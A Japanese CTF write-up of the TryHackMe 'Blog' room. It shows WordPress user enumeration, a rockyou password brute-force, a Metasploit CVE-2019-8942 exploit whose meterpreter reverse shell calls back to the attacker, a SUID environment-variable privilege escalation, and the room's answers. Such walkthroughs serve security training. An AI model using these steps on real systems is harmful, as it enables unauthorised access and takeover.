TryHackMe

【TryHackMe】Blog

どうも、のみぞうです。HardeningでWordpressに全然触れなかった鬱憤を晴らしたいと思います(単なる私情)自分用メモを公開しておきます。

準備

hostsファイルを編集しとけって指示があるのでしておく。これってやらないと何か不具合がおきるの?

echo "<IPアドレス> blog.thm" | sudo tee -a /etc/hosts

探索

早速 http://blog.thm にアクセスしてみる。

Google翻訳より:

Billy Joel の IT ブログ

お母さんからのメモ

ああ、ビリー!これはとても良いアイデアだと思います。最近解雇されたので、このブログを使用してチュートリアルやガイドを作成し、あなたと同じように IT 業界で働き始めたばかりの人々を支援することができます。きっと多くの人を助けるでしょう。  

落ち込まないように注意してください。ポジティブさを保ち、今していることを続ければ、何か良いことが起こるでしょう。

ああ、起動して実行したら、この投稿を非表示にすることを忘れないでください…それは恥ずかしいでしょう(笑)!

愛を込めて、
ママ

トップページでいきなり最近解雇されて暇になったことを全世界にバラさせるビリー。落ち込まないでくださいとか言ってるけど傷口に塩を塗り込む事にならないのだろうか。そしてなぜお母さんが勝手に記事を書いてるのか経緯が謎。英語圏ではこういう感じが面白いの?

コメントも見てみる

Google翻訳より:

ビリー・ジョエル:
2020年5月26日午後3時30分
うーん。ありがとうお母さん。大変だったね。


カレン・ウィーラー:
2020年5月26日午後3時32分
私を怒らないでください!これからもブログをチェックして、どんなことが書かれているかチェックしてみます!

愛を込めて、
ママ

お母さんにブログをチェックされるのって地獄すぎん?ビリーが気の毒になってくるけどはっきり断ったりはしないらしい。

さて、多分攻略とは直接関係ないであろう世界観が気になりすぎるがいい加減ちゃんとReconする。

nmap

とりあえずかけつけnmap。

$nmap -sV -sC 10.10.193.69 
(中略)
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.0
|_http-title: Billy Joel's IT Blog – The IT blog
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  Ь#V      Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) 
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
(後略)

ルーム自体がBlogって名前だったので先にサイトを見に行ってしまいましたが、まあまあ古いWordpressが使われてるのとSMBが怪しい雰囲気。

一応管理画面も見に行ってみる。adminでログイン施行してみると、invalid usrnameなので流石にデフォルトから変更されていることがわかる。

SMB

サンバといえばsmbmap試す。

$smbmap -H 10.10.193.69

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.10.193.69:445        Name: blog.thm                  Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        BillySMB                                                READ, WRITE     Billy's local SMB Share
        IPC$                                                    NO ACCESS       IPC Service (blog server (Samba, Ubuntu))

BillySMBを発見した。

ダウンロード

$ smbclient //10.10.193.69/BillySMB
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Oct 14 15:15:04 2023
  ..                                  D        0  Wed May 27 02:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Wed May 27 03:17:01 2020
  tswift.mp4                          N  1236733  Wed May 27 03:13:45 2020
  check-this.png                      N     3082  Wed May 27 03:13:43 2020

                15413192 blocks of size 1024. 9790348 blocks available
smb: \> get Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (25.1 KiloBytes/sec) (average 25.1 KiloBytes/sec)
smb: \> get tswift.mp4 
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (414.6 KiloBytes/sec) (average 294.5 KiloBytes/sec)
smb: \> get check-this.png
getting file \check-this.png of size 3082 as check-this.png (2.9 KiloBytes/sec) (average 237.2 KiloBytes/sec)

意味深な画像が手に入ったのでsteghideにかけてみる

$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase: 
wrote extracted data to "rabbit_hole.txt".
                                                                                                                                                              
$ cat rabbit_hole.txt  
You've found yourself in a rabbit hole, friend.
(あなたはウサギの穴にいることに気づきました)

何じゃそりゃ!(いやラビットホールの意味は知ってますよ)

wpscan

WordPressだし直球でwpscan使えばよかった。ユーザー名を列挙する

$ wpscan --url http://blog.thm --enumerate u                                       
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.thm/ [10.10.193.69]
[+] Started: Sat Oct 14 17:33:05 2023
(中略)
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <================================================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)
(後略)

ビリーとお母さんの他に2人のユーザー(kwheelとbjoel)がいることがわかる。

このままwpscanでパスワードクラックをする。

┌──(kali㉿kali)-[~/output/hacker-panda/day7]
└─$ wpscan --url http://blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 64
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.thm/ [10.10.193.69]
[+] Started: Sat Oct 14 17:46:57 2023

(中略)
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - kwheel / cutiepie1                                               

数分でクラックできた。

初期侵入

ここまで情報がそろったらmetasploit使えるので使う。使えるものはなんでも使うポリシーです。

$ msfconsole
msf6 > search CVE-2019-8942
Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_crop_rce

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.3.70     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress

msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
PASSWORD => cutiepie1
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS http://blog.thm
RHOSTS => 10.10.193.69
msf6 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
USERNAME => kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.14.47.124
LHOST => 10.14.47.124

msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   cutiepie1        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     blog.thm         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.14.47.124     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/wp_crop_rce) > exploit

[*] Started reverse TCP handler on 10.14.47.124:4444 
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (39927 bytes) to 10.10.193.69
[*] Meterpreter session 1 opened (10.14.47.124:4444 -> 10.10.193.69:49924) at 2023-10-14 18:18:45 +0900
[*] Attempting to clean up files...

meterpreter > pwd
/var/www/wordpress

シェル取れた

その足でユーザフラグを見に行く

meterpreter > cd /home/bjoel
meterpreter > cat user.txt
You won't find what you're looking for here.

TRY HARDER
(ここでは探しているものは見つかりません。もっと頑張ろう)

は????この流れでウソやん?

特権昇格

お約束としてSUIDをビットが立ってる子を探す

shell
find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker 
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(後略)

怪しい子がいる

謎バイナリ

実行してみる

$ checker
checker
Not an Admin

Adminじゃないよって言われる。

もっかい詳しくltrace

$ ltrace checker
getenv("admin")                                  = nil
puts("Not an Admin")                             = 13
Not an Admin
+++ exited (status 0) +++

環境変数がadminがnullだとNot an Adminって言われることがわかる

なんでも良いのかな

$ export admin=hogehoge
$ ltrace checker
getenv("admin")                                  = "hogehoge"
setuid(0)                                        = -1
system("/bin/bash"
id
uid=0(root) gid=33(www-data) groups=33(www-data)

いけてしまった。

フラグ回収

root.txt

$ find / 2>/dev/null |grep root.txt
/root/root.txt
$ cat /root/root.txt

user.txt

$ find / 2>/dev/null | grep user.txt
/home/bjoel/user.txt
/media/usb/user.txt
$ cat /media/usb/user.txt

これ別に無理にひねらなくてよかったと思うけどなあ…

Where was user.txt found?

/media/usb

What CMS was Billy using?

WordPress

What version of the above CMS was being used?

5.0